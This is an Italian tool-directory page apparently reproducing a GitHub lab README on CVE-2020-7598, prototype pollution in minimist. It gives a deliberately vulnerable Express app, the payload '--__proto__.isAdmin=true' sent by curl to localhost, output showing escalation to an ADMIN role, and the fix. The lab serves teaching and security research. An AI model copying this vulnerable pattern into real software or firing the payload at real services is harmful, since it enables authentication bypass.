Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-7598 | Kitploit
Strumenti/GitHubGitHub/renewablehacking/cve-2020-7598
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-7598 - Prototype Pollution in minimist

Disclaimer

Questo progetto è stato creato solo per:

  • apprendimento,
  • ricerca sulla sicurezza,
  • e laboratorio locale privato.

Non utilizzarlo contro sistemi senza autorizzazione.


Informazioni sulla CVE

CVE-2020-7598 è una vulnerabilità di Prototype Pollution nel pacchetto npm:

  • minimist
  • versioni vulnerabili:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Questa vulnerabilità consente a un attaccante di modificare:

root@kitploit:~
Object.prototype

tramite payload come:

root@kitploit:~
--__proto__.isAdmin=true

Di conseguenza:

  • tutti gli oggetti JavaScript possono ereditare proprietà dannose,
  • bypass dell'autenticazione,
  • escalation dei privilegi,
  • fino a una catena che porta a RCE in determinate condizioni.

Come funziona Prototype Pollution

In JavaScript:

root@kitploit:~
const user = {};

anche un oggetto vuoto eredita le proprietà da:

root@kitploit:~
Object.prototype

Se un attaccante riesce a eseguire:

root@kitploit:~
Object.prototype.isAdmin = true;

allora:

root@kitploit:~
({}).isAdmin

produrrà:

root@kitploit:~
true

per tutti gli oggetti comuni.


Ambiente di laboratorio

Dipendenze

  • Node.js
  • Express
  • [email protected]

Installazione

1. Clonare il repository

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Installare le dipendenze

root@kitploit:~
npm install

OPPURE manualmente:

root@kitploit:~
npm install express [email protected]

Codice sorgente

Crea un file:

root@kitploit:~
app.js

Contenuto:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Avviare il server

root@kitploit:~
node app.js

Output:

root@kitploit:~
Server running on port 3000

Test normale

Login normale

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Output:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Exploit CVE-2020-7598

Payload di Prototype Pollution

Apri il browser:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

OPPURE usa curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Risultato dell'exploit

Terminale del server:

root@kitploit:~
GLOBAL isAdmin: true

Ciò significa:

root@kitploit:~
Object.prototype.isAdmin = true

è stato modificato con successo.


Login dopo l'exploit

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Output:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

Eppure:

  • il database non è cambiato,
  • il codice sorgente non è cambiato,
  • l'utente non possiede la proprietà isAdmin.

Perché si diventa ADMIN?

Il codice seguente:

root@kitploit:~
if(user.isAdmin)

non verifica solo le proprietà possedute direttamente dall'oggetto.

JavaScript cercherà:

  1. le proprietà dell'oggetto,
  2. poi la prototype chain.

Poiché l'attaccante è riuscito a modificare:

root@kitploit:~
Object.prototype.isAdmin = true

tutti gli oggetti comuni ereditano quella proprietà.


Prova di Prototype Pollution

Log del server:

root@kitploit:~
Own property: false
user.isAdmin: true

Ciò significa:

  • isAdmin non è una proprietà originale dell'utente,
  • ma è ereditata dal prototipo globale.

Patch

Versione sicura di minimist:

root@kitploit:~
npm install minimist@latest

La versione patchata blocca:

  • __proto__
  • constructor
  • prototype

così la prototype pollution non riesce più.


Riferimenti

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

Autore

Il laboratorio e la documentazione sono stati realizzati per esigenze di apprendimento sulla sicurezza delle applicazioni Node.js e per la ricerca sulla prototype pollution.

Scarica lo strumento